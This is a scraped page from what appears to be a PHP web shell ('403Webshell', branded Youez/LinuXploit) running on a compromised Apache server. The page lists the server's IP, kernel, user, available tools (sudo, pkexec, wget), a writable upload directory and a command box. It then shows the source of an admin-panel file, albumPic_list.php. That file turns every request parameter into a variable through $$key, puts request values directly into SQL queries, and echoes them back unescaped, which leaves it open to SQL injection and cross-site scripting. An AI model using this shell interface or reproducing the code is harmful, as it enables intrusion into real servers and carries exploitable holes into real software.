403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/albumPic_list.php
<?php 
include_once("session.php");
include_once("settings.php");
include_once("functions.php");
foreach ($_REQUEST as $key => $value){
	$$key = $value;
}
if($action == 'DeleteAlbumPic'){
	$sql	=	"SELECT * FROM `tblPhoto` where id = ".$imgId."";
	$result	=	mysql_query($sql) or die (mysql_error());
	$row	=	mysql_fetch_assoc($result);	
	@unlink("../cat_images/media/pics/".$row['media']);
	$sql1	=	"DELETE FROM `tblPhoto` WHERE `id` = ".$imgId." LIMIT 1";
	mysql_query($sql1) or die(mysql_error()); 
}

function getAlbumName($id){
	$sql	=	"SELECT * FROM `tblalbum` where isDeleted = 'Activate' AND `id` = ".$id."";
	$result	=	mysql_query($sql);
	$album	=	mysql_fetch_assoc($result);
	return ucfirst(strtolower($album['albumName'])); 
}

?> 
<LINK href="mel.css" type=text/css rel=stylesheet>
<LINK href="sdmenu.css" type=text/css rel=stylesheet>

<script type="text/javascript">
<!--
	function validation(){
		var alb = document.getElementById("albumNameEdit").value;
		alb = alb.replace(/^\s+|\s+$/g,"");
		if(alb ==''){
			alert("Please enter the album name");
			document.getElementById('albumNameEdit').focus();
			return false;
		}
	}
//-->
</script>

<table width="94%" border="0" cellspacing="0" cellpadding="0">
	<tr><td colspan='100%'>
	<form method="post" action="write_album.php" onsubmit="return validation();">
		<table width="100%" border="0" cellspacing="2" cellpadding="0">
			<tr valign="middle" class="general"> 
				<td width="43%" height="26">Album Name</td>
				<td width="43%" height="26" align="center" valign="middle" ><input type="text" name="albumNameEdit" id="albumNameEdit" value='<?php echo getAlbumName($id); ?>'></td>
				<td width="43%" height="26"><input type="hidden" name="editAlbumId" value='<?php echo $id; ?>'><input type="hidden" name="editAlbumName" value='edit'><input type="submit" name="Submit" value="Save" class="button" /></td>
			</tr>
		</table>
	</form>
	</td></tr>
	<tr> 
		<td>
			<fieldset>
				<legend>ALBUM LIST</legend>
				<table width="100%" border="0" cellspacing="2" cellpadding="0">
				<?php	if($msg	!=	""){	?>
					<tr valign="middle" class="general"> 
						<td height="26" colspan="2" align="center"><?=$msg;?></td>
					</tr>
				<?php } ?>
					

					
					<tr valign="middle" class="general"> 
						<td width="43%" height="26">Image</td>
						<td width="43%" height="26" align="center" valign="middle" >Action</td>
					</tr>
					<?php
						$query	=	"select * from `tblPhoto` WHERE `type` = 'pic' and `albumId` ='".$id."' order by createdOn DESC";
						$result	=	mysql_query($query) or die(mysql_error());
						while($arrayCategory=mysql_fetch_assoc($result)){	  
					?>
					<tr valign="middle" class="generaltxt"> 
						<td height="26">
							<img src="../cat_images/media/pics/<?php echo $arrayCategory['media']; ?>" height="50">
						</td>
						<td align="center"><a href="albumPic_list.php?id=<?=$id?>&action=DeleteAlbumPic&imgId=<?=$arrayCategory['id']?>" onClick="return confirm('Are you sure you want to delete')" class="action1"><strong>Delete</strong></a></td>
					</tr>
					<?php } ?>
					<tr align="right" valign="middle" class="generaltxt"> 
						<td height="10" colspan="2">&nbsp;</td>
					</tr>
					
				</table>
			</fieldset>
		</td>
	</tr>	
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit